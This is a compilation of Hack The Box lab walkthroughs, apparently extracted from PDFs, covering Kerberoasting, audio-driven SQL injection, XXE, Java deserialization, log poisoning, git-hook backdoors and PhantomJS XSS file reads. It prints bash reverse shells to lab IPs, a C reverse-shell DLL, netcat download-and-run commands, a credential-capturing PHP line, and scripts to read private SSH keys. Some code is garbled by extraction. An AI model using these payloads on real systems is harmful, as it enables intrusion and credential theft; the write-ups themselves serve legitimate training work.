HTB Walkthrough
HTB Walkthrough
Page 1 / 15
SYNOPSIS
Active is an easy to medium difficulty machine, which features two very prevalent techniques to
gain privileges within an Active Directory environment.
Page 2 / 15
Enumeration
Nmap
Nmap reveals an Active Directory installation with a domain of “active.htb”. Microsoft DNS 6.1 is
running, which allows nmap to fingerprint the domain controller as Windows Server 2008 R2 SP1.
Port 445 is open and so it is worth running further nmap SMB scripts.
This reveals that SMB version 2 is running, and message signing is enabled and required for any
clients connecting to it, which prevents SMB Relay attacks.
Page 3 / 15
File Shares
The only share it is possible to access with anonymous credentials is the “Replication” share,
which seems to be a copy of SYSVOL. This is potentially interesting from a privilege escalation
perspective as Group Policies (and Group Policy Preferences) are stored in the SYSVOL share,
which is world-readable to authenticated users.
In the Active video, IppSec shows different ways of extracting the Groups.xml file from Linux.
Page 4 / 15
smbmap, which allows for the Groups.xml files to be targeted
Page 5 / 15
Group Policy Preferences
Group Policy Preferences (GPP) was introduced in Windows Server 2008, and among many other
features, allowed administrators to modify users and groups across their network.
An example use case is where a company’s gold image had a weak local administrator password,
and administrators wanted to retrospectively set it to something stronger. The defined password
was AES-256 encrypted and stored in Groups.xml. However, at some point in 2012 Microsoft
published the AES key on MSDN, meaning that passwords set using GPP are now trivial to crack
and considered low hanging fruit.
The downloaded Groups.xml file is inspected and the encrypted password is immediately
decrypted using gpp-decrypt.
Page 6 / 15
Authenticated Enumeration
With valid credentials for the active.htb domain, further enumeration can be undertaken. The
SYSVOL and Users shares are now accessible and the user.txt flag can be retrieved.
ldapsearch can be used to query the Domain Controller for Active Directory UserAccountControl
attributes of active accounts, and for other specific configurations that might be applied to them.
A number of UserAccountControl attributes also have security relevance. The Microsoft page
below lists the possible UserAccountControl values.
https://support.microsoft.com/en-gb/help/305144/how-to-use-the-useraccountcontrol-flags-to-ma
nipulate-user-account-pro
The value of “2” corresponds to a disabled account status, and so the query below will return
active users (by sAMAccountName / username) in the active.htb domain.
Page 7 / 15
Impacket’s GetADUsers.py simplifies the process of enumerating domain user accounts.
Page 8 / 15
Exploitation
Kerberoasting
Kerberoasting involves extracting a hash of the encrypted material from a Kerberos “Ticket
Granting Service” ticket reply (TGS_REP), which can be subjected to offline cracking in order to
retrieve the plaintext password. This is possible because the TGS_REP is encrypted using the
NTLM password hash of the account in whose context the service instance is running. Figure 1
shows the Kerberos authentication process when interacting with a service instance.
Page 9 / 15
Managed service accounts mitigate this risk, due to the complexity of their passwords, but they
are not in active use in many environments. It is worth noting that shutting down the server
hosting the service doesn’t mitigate, as the attack doesn’t involve communication with target
service. It is therefore important to regularly audit the purpose and privilege of all enabled
accounts.
Kerberos authentication uses Service Principal Names (SPNs) to identify the account associated
with a particular service instance. ldapsearch can be used to identify accounts that are
configured with SPNs.
It seems that the active\Administrator account has been configured with a SPN.
Impacket’s GetUserSPNs.py again simplifies this process, and is also able to request the TGS and
extract the hash for offline cracking.
Page 10 / 15
Cracking of Kerberos TGS Hash
The hash cracks easily with hashcat and john, and the active\administrator password of
Ticketmaster1968 is obtained.
Page 11 / 15
Shell as Primary Domain Admin
Impacket’s wmiexec.py can be used to get a shell as active\administrator, and gain root.txt.
Page 12 / 15
Bonus: The “Old School” Kerberoasting Technique
There are many ways of kerberoasting from Windows and Linux, and Tim Medin’s original
Kerberoasting technique is replicated below, which leverages functionality in Benjamin Delpy’s
Mimikatz to export the Kerberos tickets.
From a domain joined computer, available SPNs and associated accounts can be enumerated
using the Windows built-in utility setspn.exe.
Page 13 / 15
The tickets are then requested and extracted from RAM.
The .kirbi Kerberos tickets can be collected in a zip file before transferring (PowerShell 3.0+).
Page 14 / 15
kirbi2john.py (based on Tim Medin’s script) is used to extract the hashes from kirbi files. The
Jumbo version of John the Ripper cracks the hash quickly.
/opt/JohnTheRipper/run/kirbi2john.py
1-40a00000-svc_tgs@active~CIFS~445-ACTIVE.HTB.kirbi > hashes.txt
/opt/JohnTheRipper/run/john --format:krb5tgs hashes.txt
--wordlist=/usr/share/wordlists/rockyou.txt
The venerable sysadmin tool psexec.exe is used to get a shell as SYSTEM using the gained
Domain Admin credentials.
Page 15 / 15
AI
23rd January 2019 / Document No D19.100.55
Difficulty: Medium
Classification: Official
Synopsis
AI is a medium difficulty Linux machine running a speech recognition service on Apache. This
service is found to be vulnerable to SQL injection and is exploited with audio files. The injection is
leveraged to gain SSH credentials for a user. Enumeration of running processes yields a Tomcat
application running on localhost, which has debugging enabled. This port is forwarded and
exploited to gain code execution as root.
Skills Required
Enumeration
SQL Injection
Java Classes
Skills Learned
Debugging with JDWP
Speech to Text
Enumeration
Nmap
Apache
Browsing to port 80, a website titled "Artificial Intelligence" is seen.
The about page states that the developers are working on a voice recognition platform. Browsing
to the AI page reveals an upload page for wav files.
Trying to upload a normal test file returns the following output.
Gobuster
Let's enumerate files and folders on the server using gobuster.
Apart from the already known files, we discover intelligence.php and db.php , as well as a
folder named uploads . Browsing to db.php returns an empty page, however,
intelligence.php contains the following table.
The table contains information about various inputs and their corresponding AI outputs. It's
designed to convert normal speech as well as code snippets and special symbols. The footer
contains the following message.
Searching for Microsoft speech recognition, we come across this page. The page contains a
similar table with inputs and desired outputs. Let's try creating a wav file and uploading it to the
AI page. The text2wave utility from the festival package can be used for this.
Uploading the file ai.wav to the AI page results in the following output.
The input resulted in a SQL error and the backend database is found to be MySQL. Let's check if
we can balance the quote using comments. The # (Pound sign) symbol can be used to comment
out the rest of query in MySQL.
There's no error returned this time, which means that the quotes were balanced. We can create a
python script to automate the entire process.
#!/usr/bin/python3
import sys
import requests
import os
import re
def createWav(query):
query = query.replace("'", " open single quote ")
query = query.replace("#", " Pound sign ")
q = f'echo "{query}" | text2wave -o ai.wav'
#print(q)
os.system(f'echo "{query}" | text2wave -o ai.wav')
def sendWav():
url = "http://10.10.10.163/ai.php"
p = { 'http' : 'http://127.0.0.1:8080' }
files = { 'fileToUpload' : open('ai.wav', 'rb'), 'submit' : (None, 'Process
It!') }
resp = requests.post(url, files = files, proxies = p)
return resp.text
while True:
query = input("Enter query> ")
if query == 'exit':
sys.exit()
createWav(query)
resp = sendWav()
output = re.search("Query result : (.*)<h3>", resp)
q = re.search("Our understanding of your input is : (.*)<br />", resp)
print("Query: " + q.group(1))
print("Result : " + output.group(1))
The script takes in input, converts text to wave and then sends the file to the server. After
receiving the output, it prints the server's understanding and query. Let's try finding the number
of columns in the table using UNION based injection. From the intelligence page, we know that
the AI processes join as union .
The server is unable to interpret our input properly. We can overcome this by adding pauses
between words using commas.
The injection worked and the first username is found to be alexa. Let's check if there's a
password associated with this user.
The password is returned as H,Sq9t6}a<)?q93_ . Logging in via SSH with these credentials is
successful.
Privilege Escalation
Looking at the processes running as root, we find Tomcat to be active.
We don't have permissions to view the Tomcat configuration or files. However, looking at the
command line flags, we see the following.
/usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-
9.0.27/conf/logging.properties
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -
Djdk.tls.ephemeralDHKeySize=2048
-Djava.protocol.handler.pkgs=org.apache.catalina.webresources
-Dorg.apache.catalina.security.SecurityListener.UMASK=0027
-agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n
<SNIP> start
The JDWP address is set to localhost:8000 and the server is enabled. JDWP stands for "Java
Debug Wire Protocol" and is used to remotely debug Java applications. The jdb utility can be used
to access this port and debug over it. We'll have to forward port 8000 from the box and then
connect to it.
The command above will forward port 8000 on our host to port 8000 on the box. Let's attach to it
using jdb.
Java provides a class named Runtime, which can be used to execute system level commands. But
before using it, we'll have to hit a breakpoint when tomcat is executing. We can set a breakpoint
using the stop command in jdb. Looking at the javax class documentation, it's seen that the
init() method is called when the Tomcat servlet starts up. Let's add a breakpoint on that
method.
This breakpoint should be hit after a while, when the server initializes.
We can use the Runtime.exec() method to execute code now. Let's try touching a file named
/tmp/proof .
Let's try executing a bash reverse shell next. Create a file the following contents, make it
executable and place it in the /tmp folder.
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.12/4444 0>&1
Page 1 / 7
SYNOPSIS
Aragog is not overly challenging, however it touches on several common real-world
vulnerabilities, techniques and misconfigurations.
Page 2 / 7
Enumeration
Nmap
Nmap reveals vsftpd (which has anonymous login enabled), OpenSSH and Apache.
Page 3 / 7
Dirbuster
Page 4 / 7
Exploitation
Attempting to connect to FTP reveals only a test.txt file which contains some basic XML.
Sending the XML in a POST request to hosts.php results in some different output.
Using this, it is trivial to craft a request that abuses external entities to read files on the system.
Page 5 / 7
After obtaining /etc/passwd through the XXE vulnerability, two home directories are discovered;
florian and cliff. As OpenSSH is explicitly set to allow only publickey authentication, it can be
taken as a hint that the private key may be left on the machine. The path is easy to guess, but it
can be brute forced with a simple script.
Page 6 / 7
Privilege Escalation
Automated enumeration tools are not necessary to find the correct escalation vector in this case.
As this is a CTF system, any type of user interaction must be automated. Running ps aux reveals
a whoopsie user running /usr/bin/whoopsie. This binary can be reverse engineered (much more
challenging) to obtain the SUDO password. The purpose of this binary is to simulate a user
logging into the Wordpress installation at http://aragog/dev_wiki
Since the entire /var/www/html directory is chmod 777, it is possible to modify wp-login.php to
capture any supplied credentials. The login credentials are sent in $_POST[‘log’] and
$_POST[‘pwd’]. Simple adding the following line after the <?php tag is enough.
file_put_contents("creds.txt",$_POST['log']." - ".$_POST['pwd']);
Reusing the Wordpress password with su will grant a root shell.
Page 7 / 7
Arkham
15th May 2019 / Document No D19.100.30
Prepared By: MinatoTW
Machine Author: MinatoTW
Difficulty: Medium
Classification: Official
Page 1 / 22
SYNOPSIS
Arkham is a medium difficulty Windows box which needs knowledge about encryption, java
deserialization and Windows exploitation. A disk image present in an open share is found which
is a LUKS encrypted disk. The disk is cracked to obtain configuration files. The Apache MyFaces
page running on tomcat is vulnerable to deserialization but the viewstate needs to encrypted.
After establishing a foothold an Outlook OST file is found, which contains a screenshot with a
password. The user is found to be in the Administrators group, and a UAC bypass can be
performed to gain a SYSTEM shell.
Page 2 / 22
ENUMERATION
NMAP
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.130 | grep ^[0-9] | cut -d
'/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV -T4 10.10.10.130
IIS is running on port 80 along with SMB and Apache tomcat at their respective ports.
Page 3 / 22
SMB
Lets use smbclient to bind with a null session to list open shares.
smbclient -N -L \\\\10.10.10.130
smbclient -N \\\\10.10.10.130\\BatShare
As the file is large in size, we’ll mount the share and then copy the file.
unzip appserver.zip
Page 4 / 22
CRACKING THE DISK IMAGE
After extracting the zip we find a note which says the backup image is from a Linux server and a
backup image. Running "file" on the image says that it’s a LUKS encrypted disk, which is possible
to crack.
It could take a while to crack. Once done the password is found to be “batmanforever”.
After mounting we find some images and tomcat configuration files which can be useful later.
Page 5 / 22
APACHE TOMCAT
Most of the options seem useless however clicking on subscription takes us to another page
http://10.10.10.130:8080/userSubscribe.faces.
The page extension suggests that it’s an Apache MyFaces installation. A google search about
Apache MyFaces vulnerabilities shows an RCE exists in it due to insecure deserialization of JSF
viewstates here. Viewing the source of the page, we see that javax ViewState is present.
Page 6 / 22
EXPLOITING DESERIALIZATION
Going back to the tomcat configuration files we found earlier it’s seen that the page uses
encrypted viewstates from the web.xml.bak file.
It’s also seen that the viewstate is saved on the server side. So, we’ll have to create a malicious
viewstate and then encrypt it using the parameters we already have.
Ysoserial is a tool used to create malicious serialized payloads. Download the jar from JitPack,
make sure you have openjdk-8 installed.
Page 7 / 22
wget
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-m
aster-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar
We have a lot of payloads but let’s go with the common ones i.e CommonsCollections. Lets see if
we can ping ourselves first.
In order to encrypt the payload we’ll use python. The documentation says the default encoding is
DES with PKCS5 padding if not specified. We’ll use pyDes to create the payload.
The key is from the config file we found earlier. We initialize the object with the key, ECB mode
and PKCS5 padding and then encrypt the payload.
Next we need to create the HMAC. The HMAC is used to verify the integrity of the message. It is
calculated and appended to the message, so that it can be verified when it is received. From the
config we know that the HMAC algorithm is SHA1 and the key is same as the encryption.
The above snippet creates the SHA1 hash of the encrypted payload from earlier. Make sure to
use raw bytes and not hexdigest. Then it is base64 encoded to be sent.
Page 8 / 22
Here’s the final script,
#!/usr/bin/python
url = 'http://10.10.10.130:8080/userSubscribe.faces'
def g etPayload():
Creating a payload for commons-collections 3.1 from
#
https://github.com/frohoff/ysoserial
payload = open(' payload.bin', '
rb')
.read()
r eturn payload.strip()
def e xploit(
):
viewState = getViewState()
f viewState is N
i one:
Page 9 / 22
print "No viewState found"
lse:
e
print "Viewstate found: {}".
format(viewState)
payload = getPayload()
key= bytes('SnNGOTg3Ni0=')
.decode('
base64') # The secret key
headers = {
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": "Tomcat RCE",
"Content-Type": " application/x-www-form-urlencoded"}
execute = {'javax.faces.ViewState':
payload_b64}
r = post(url, headers=headers, data=execute)
The getViewState function just checks if the VIewState is present or not. The getPayload function
reads the payload from the file we created using ysoserial. Then encryption and hmac creation
takes place as discussed earlier. Then the payload is sent as a POST parameter for
javax.faces.ViewState.
Page 10 / 22
Running the script we see that our ping is returned.
Page 11 / 22
FOOTHOLD
Now that we have RCE lets use nc.exe to get a shell. Start a simple HTTP server and then create
the payload to download and execute it.
Page 12 / 22
LATERAL MOVEMENT
ENUMERATION
While enumerating the file system we come across a zip file in the Downloads folder of the user.
And locally:
nc -lvp 4444 > backup.b64 #remove the certificate markers from top and
bottom
sed -i s/\n//g backup.b64 # remove new lines
base64 -d backup.b64 > backup.zip
unzip backup.zip
Page 13 / 22
Ignore the base64 error due to certutil padding. After unzipping we find the OST file.
An OST file is an offline folder file for Microsoft Outlook. It’s local copy of the user’s mailbox
which is stored in an email server such as Exchange. We can use readpst to open it up.
Page 14 / 22
Using the credentials Batman / Zx^#QX+T!123 we can now login via WinRM.
Page 15 / 22
PRIVILEGE ESCALATION
ENUMERATION
We look at the user’s groups and find that he’s in the Administrators group.
So we’ll have to stage a UAC bypass to get a SYSTEM shell. Looking at systeminfo we see that
the OS is Windows server 19.
There can be many ways to do a UAC bypass but there’s one specific to Server 19 and more
guaranteed to work. According to https://egre55.github.io/system-properties-uac-bypass/ we can
bypass UAC through DLL hijacking via SystemPropertiesAdvanced.exe as it auto-elevates.
Page 16 / 22
GETTING A METERPRETER
use 1
list
use 9
set lhost 10.10.16.32
generate
Copy the payload.xml and start msf using the payload.rc file.
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
Download the xml file onto the target and execute it using msbuild.
Page 17 / 22
Now we need to migrate to a process in session 1. List all the processes using ps.
Note: Incase the migration fails kill the session and try again. It might take 4 -5 attempts to
succeed.
DLL HIJACKING
Now that we have a shell in session 1 we just need to create a malicious DLL and place it in the
WindowsApps folder to get it executed. Here’s a sample DLL,
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>
void ExecutePayload(void);
Page 18 / 22
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's
lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
Sleep(1000); // 1000 = One Second
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned
int)NULL, (unsigned int)NULL);
Page 19 / 22
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("10.10.16.32");
addr.sin_port = htons(4443);
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL,
NULL, NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
Page 20 / 22
0);
The DLL uses raw sockets to execute commands with cmd.exe and uses the sockets file
descriptors to send output and get input.
Compile it using mingw to a 32 bit DLL named srrstr.dll as that’s what the binary looks for.
cd C:\Users\Batman\AppData\Local\Microsoft\WindowsApps
upload srrstr.dll
cmd /c C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
Page 21 / 22
We get a shell as batman, but however we have more privileges now.
And we can move into the Administrator folder to read the flag.
Page 22 / 22
Bart
14th July 2018 / Document No D18.100.11
Prepared By: Alexander Reid (Arrexel)
Machine Author: mrh4sh
Difficulty: Hard
Classification: Official
Page 1 / 10
SYNOPSIS
Bart is a fairly realistic machine, mainly focusing on proper enumeration techniques. There are
several security policies in place which can increase the difficulty for those who are not familiar
with Windows environments.
Page 2 / 10
Enumeration
Nmap
Page 3 / 10
wfuzz
As there is a 200 response for most valid results, most common fuzzing tools are not very useful
here. Using wfuzz and hiding output with 158607 chars finds a monitor and forum directory.
Page 4 / 10
Users
Several names can be found on bart.htb/forum, including Harvey Potter which can be found in a
commented out section of the source.
Page 5 / 10
Exploitation
Monitor
Using Burp Intruder or any similar tool, it is fairly simple to find valid credentials for the monitor
login page. A valid login (harvey:potter) will result in a redirect to monitor.bart.htb, which must be
added to /etc/hosts.
Page 6 / 10
php-ajax-simple-chat
Source: https://github.com/magkopian/php-ajax-simple-chat
A bit of searching finds the above github repository. Reviewing the source code, it is fairly
obvious that a user account can be created by sending a request manually. Note that the
password must be 8 characters or longer.
Once logged in, a Log feature is visible which is not included in the original source code.
http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey
Attempting to load log.php instead of l og.txt will result in output being displayed which includes
the user agent. At this point it is fairly obvious that log poisoning through the user agent can be
leveraged to achieve code execution.
Page 7 / 10
Using the injected PHP exec, a 64-bit netcat Windows executable can be served from the local
machine. The command powershell “wget http://<LAB IP>/nc64.exe -OutFile nc64.exe” will
successfully grab the file, and the command nc64.exe <LAB IP> <PORT> -e cmd.exe will open a
shell as nt authority\iusr.
Page 8 / 10
Privilege Escalation
Administrator
PowerUp: https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Executing powershell with powershell -ExecutionPolicy Bypass will allow running of local scripts.
After dropping PowerUp on the target and starting powershell, it can be loaded with
Import-Module ./PowerUp.ps1 and executed with I nvoke-AllChecks, revealing Administrator
autologon credentials in the registry.
As SMB is not open to the network, a route must be added or alternatively port forwarding can be
used. To simplify things, switching to Metasploit is ideal. Using the windows/smb/smb_delivery
module successfully spawns a Meterpreter session when using the following settings.
Page 9 / 10
Once a Meterpreter shell is obtained, a route can be added with the command route add
10.10.10.81/32 255.255.255.255 <SESSION ID> followed by use of the
admin/smb/psexec_command module for pass the hash. For the command, executing the
existing netcat binary is likely the simplest option.
Listening on a different port and triggering the psexec module will immediately grant a shell as
the Administrator user.
Page 10 / 10
Bitlab
8th January 2019 / Document No D19.100.55
Difficulty: Medium
Classification: Official
Synopsis
Bitlab is a medium difficulty Linux machine running a Gitlab server. The website is found to
contain a bookmark, which can autofill credentials for the Gitlab login. After logging in, the user's
developer access can be used to write to a repository and deploy a backdoor with the help of git
hooks. The PostgreSQL server running locally is found to contain the user's password, which is
used to gain SSH access. The user's home folder contains Windows binary, which is analyzed to
obtain the root password.
Skills Required
Enumeration
Reversing
Git
Skills Learned
Web Hooks
Git Hooks
Dynamic Binary Analysis
Enumeration
Nmap
SSH and Nginx are found to be running on their common ports. Nmap returned some entries
from the robots.txt file, let's look at these.
Nginx
Browsing to the web root, a login page for the Gitlab is returned.
The robots.txt file contains disallowed entries as per the Gitlab configuration.
Gobuster
Let's use gobuster to discover any other hidden directories. The gitlab server will redirect us to
the login page on any attempt, which is why we'll only look for 200 response code.
The -f flag appends / to each request. It was able to find the folders help, profile, search and
public. Browsing to the /profile folder we see a profile page for Clave.
Navigating to the /help folder returns a directory listing with an HTML page.
The HTML page contains some bookmarks pointing to standard URLs, but a bookmark named
"Gitlab Login" is found to contain JavaScript code. Right click on the link and select Inspect
Element to view it in the inspector.
Double click on the content present in the href attribute and copy it.
javascript:(function() {
var _0x4b18 =
["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74
\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x
65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x3
1\x78"];
document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];
document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()
The snipped creates a JavaScript function and calls it. It contains a hex encoded array. Paste this
array into the browser console to view it as a string.
The code sets the value for user_login field to clave and the user_password field to
11des0081x . Going back to the Gitlab login page and looking at the HTML source, it can be
verified that the id for username and password are user_login and user_password
respectively.
Gitlab
This bookmark can be imported directly or we can execute this code in the console directly, which
should populate the username and password for us.
Note: The login might fail on some versions of Firefox, in which case Chrome can be used instead.
We see two repositories owned by the Administrator, and enumeration of the website reveals a
snippet as well.
It seems to be a connection script for PostgreSQL. Let's save this and look at the repositories.
The profile repository is found to contain a single PHP page along with an image.
Looking at the index.php source code, we see the same name and description found during
enumeration of the /profile folder.
It's likely that the website hosts the file from this repository. Looking at the project members, it's
found that the user Clave has Developer access to it, which will let us commit files and merge
branches.
Let's move on the next repository named deployer . The repository contains a single index.php
file which is simulating a webhook. A webhook is used to perform certain actions based on user
interaction with the repository.
Looking at the source code, the page takes in JSON input and reads properties from it. When a
merge request is made, the code goes into the profile folder and executes git pull , which will
automatically merge changes from the branch into profile.
Let's verify this by creating a new branch and editing the index.php file in the profile repository.
Click on the + symbol near the name and select new branch.
Name it something and then proceed to edit the index.php file. We can add a comment at the
end and then commit the changes.
Next, click on Create merge request followed by Submit merge request to open a merge
request.
Once the merge request is open, click on the Merge button to merge changes.
Navigating to the profile page and viewing the source, the HTML comment should be seen at the
end.
Foothold
Having confirmed our code injection, we can now add a backdoor PHP shell to the /profile
folder. Download the PHP the shell from here and edit the IP address and port to reflect yours,
then click on + followed by Upload file .
Upload the reverse shell and then click on upload. Next, follow the same process as earlier to
merge changes. After the merge completes, the shell can be executed by browsing to
http://10.10.10.114/profile/shell.php .
Lateral Movement
A TTY shell can be spawned using python.
This is the default port for PostgreSQL server, which can be confirmed by looking at the running
processes. We already have potential credentials for the database from the snippet found earlier.
Let's try logging into the database and looking for information. Since the postgres server is
running within a docker, we won't have access to the client binaries. Instead, we can use the PHP
script and query the DB. Create a file named pg.php with the following contents:
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
print_r(pg_fetch_all($result));
?>
The script fetches data from the profiles table and prints the results using the pg_fetch_all()
function. Transfer this script and then execute it on the box.
The query returned the password for clave, which can be used to SSH into the box.
Privilege Escalation
A file named RemoteConnection.exe is noticed in her home folder. Let's transfer this using scp
and perform analysis.
Open it up in Ghidra and then go to Window > Defined Strings on the menu bar. Looking at the
defined strings, we see the username clave as well as a path to putty.exe.
Highlighting clave should make the Listing window jump to it's address. Right-click on it > Show
References and select Show References to this address. Double click on the address in the popup
Window, which should take us to the code where it's referenced. Looking at the code, we see that
it gets the current user's username using the GetUsername() function:
Then further on, this username is compared to "clave" which leads to execution of putty.exe
using the ShellExecuteW() function.
Looking at the documentation of this function, it's found that the fourth parameter i.e.
lpParameters points to the string with the arguments to be passed to the process. This means
that the user's password should be present in this buffer. Let's use a debugger like x32dbg to
reveal this string.
After loading the binary, right click in the disassembly region > search for > All Modules > String
references. This will list all the strings referenced in the binary.
Click on OK and then close the popup to avoid changing the next instruction. Next, select the
line with the call to ShellExecuteW and hit F2 to add a breakpoint.
Now hit F9 twice to run the binary until the breakpoint is hit. Once the execution halts, the
window at the bottom right can be viewed to see the arguments pushed to the stack.
The password can be seen in plaintext at the fourth offset on the stack which is the pointer for
lpParameters. The credentials root / Qf7]8YSV.wDNF*[7d?j&eD4^ can be used login as root
and read the flag.
Alternate method
Going back to the shell as www-data, we can enumerate his sudo privileges.
The user can executed git pull anywhere as root. Probably this was configured to allow
merging changes using the webhooks. This will let us leverage local git hooks and execute scripts
as root. Similar to webhooks, local git hooks execute certain commands based on the action
taken by the user. These hooks are present in the .git/hooks folder for any given repository. A
more detailed explanation can be found here. According to the documentation, a post-merge
hook is executed whenever a git pull command is issued.
Let's try executing a reverse shell through this hook. First, copy the profile repository from
/var/www/html .
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/5555 0>&1
In order to successfully merge, we'll have to make changes to the original repository. Login to the
gitlab project and commit an extra file to the profile repository, then merge the new branch to
the master branch. Now go back to the main folder and start a listener on port 5555. Then issue
the sudo git pull command to execute the post-merge script.
Difficulty: Medium
Classification: Official
Synopsis
Book is a medium difficulty Linux machine hosting a Library application. It allows users to sign up
and add books, as well as provide feedback. The back-end database is found to be vulnerable to
SQL truncation, which is leveraged to register an account as admin and escalate privileges. The
admin panel contains additional functionality to export PDFs, which is exploited through XSS to
gain SSH access. Finally, misconfigured logs are exploited to get root.
Skills Required
Web Enumeration
JavaScript
Skills Learned
SQL Truncation
XSS
Logrotate Exploitation
Enumeration
Nmap
Nmap reveals two open ports running HTTP and SSH respectively.
Apache
Browsing to port 80 returns a sign-up and login form.
Gobuster
Let's run Gobuster to find any hidden folders.
The /docs folder returns a 403 forbidden error. However, the admin folder hosts an admin login
form.
Let's register a new account with admin to see if this username exists.
The registration as admin was successful and we get access to the library.
Let's see if we can use the same credentials on the admin page.
We're denied access to the admin panel, which means that the login depends on the email and
not username. Let's try using an email such as [email protected] .
The page states that the user already exists. Let's return to the registered account and
enumerate the application. The library application contains a few pages with different
functionality.
The page displays the following pop-up and returns to the submission page.
The file location isn't revealed and it's not found in the /docs folder either. Let's continue
enumerating the application. The profile information page allows us to edit our username.
Let's intercept the request in Burp for further inspection.
SQL Truncation
Sending a request with a username that is greater than 10 characters is found to result in
truncation of the username.
Let's see if this behavior exists even with spaces in the input.
We enter multiple spaces then URL encode the entire username and forward the request.
Refreshing the profile page shows that our username was set to admin with trailing spaces.
According to the MySQL documentation, trailing spaces are ignored during database operations.
This means that the usernames "admin " and "admin" are identical from a MySQL perspective.
Assuming that the backend DBMS is MySQL, we should be able to leverage this attack to sign-up
as [email protected] . Send another request from the sign up form and intercept it.
We register the username someuser , and the email [email protected] with trailing spaces and
characters. This should truncate our input and insert the email into the database as
[email protected] . Forwarding the request doesn't return any errors and redirects us to the login
page. Let's login with the credentials someuser / admin now.
We're granted access to the admin panel now. The Collections tab seems to allow exporting of
collections in PDF format.
Adding a new collection and then exporting it results in the following PDF.
We see our collection entry at the end of the table, which resembles a table created using HTML
code. Possibly the table is rendered by the server before converting it to PDF?
XSS
Let's try adding a new collection with an img tag pointing to our IP address. If the server renders
the HTML, then we should receive an HTTP request.
Submit the book, start a listener on port 80 and then export the collection from the admin panel.
As expected, we received an HTTP request on our listener with the User-Agent containing
PhantomJS . PhantomJS is a server-side headless browser that is scriptable using JavaScript. It is
useful for task automation, testing and taking screen captures of remote web pages.
As the script runs server-side, we should be able to run JavaScript code during the rendering
process. Let's use a simple JS snippet to test this.
<script>document.write("Javascript works!")</script>
Enter the snippet above into the book submission and proceed to export the PDF.
We see that the string Javascript works! was successfully written to the document. Now that
we have achieved code execution, we can use the XMLHttpRequest class and attempt to read
local files using the file:/// URI scheme.
<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///etc/passwd", true);
x.onload = function(){
document.write(x.responseText);
};
x.send();
</script>
The script above will attempt to read the /etc/passwd file and write it out to the HTML page.
/etc/passwd is a good choice as it is readable by all system users. Enter this into the submission
page and then export the PDF.
The export was successful and we are able to read the passwd file.
Foothold
A user named reader is found to exist with a valid shell.
Let's check if we can read the SSH private key of this account.
<script>
var x = new XMLHttpRequest();
x.open("GET", "file:///home/reader/.ssh/id_rsa", true);
x.onload = function(){
var code = "<textarea rows='100' cols='70'>" + btoa(x.responseText) + "
</textarea>";
document.write(code);
};
x.send();
</script>
Update the script with the default path to the SSH private key. The btoa() function is used to
convert the key to base64 for easy copying and pasting. We can use a textarea element with a
fixed set of columns in order to capture the entire output within the PDF itself.
The script tells us that we have access to writable log files which can be exploited. Looking at the
URL provided we see the following:
According to the post, logrotate can be exploited through a race condition if a user has write
access to the log files. Logrotate is a utility that performs periodic removal, compression, and
storage of log files. A user with write privileges to log files can symlink it to any sensitive file on
the system and then write to it.
Now we know that logrotate is running, let's proceed to exploit it. The logrotten PoC can be used
to exploit this.
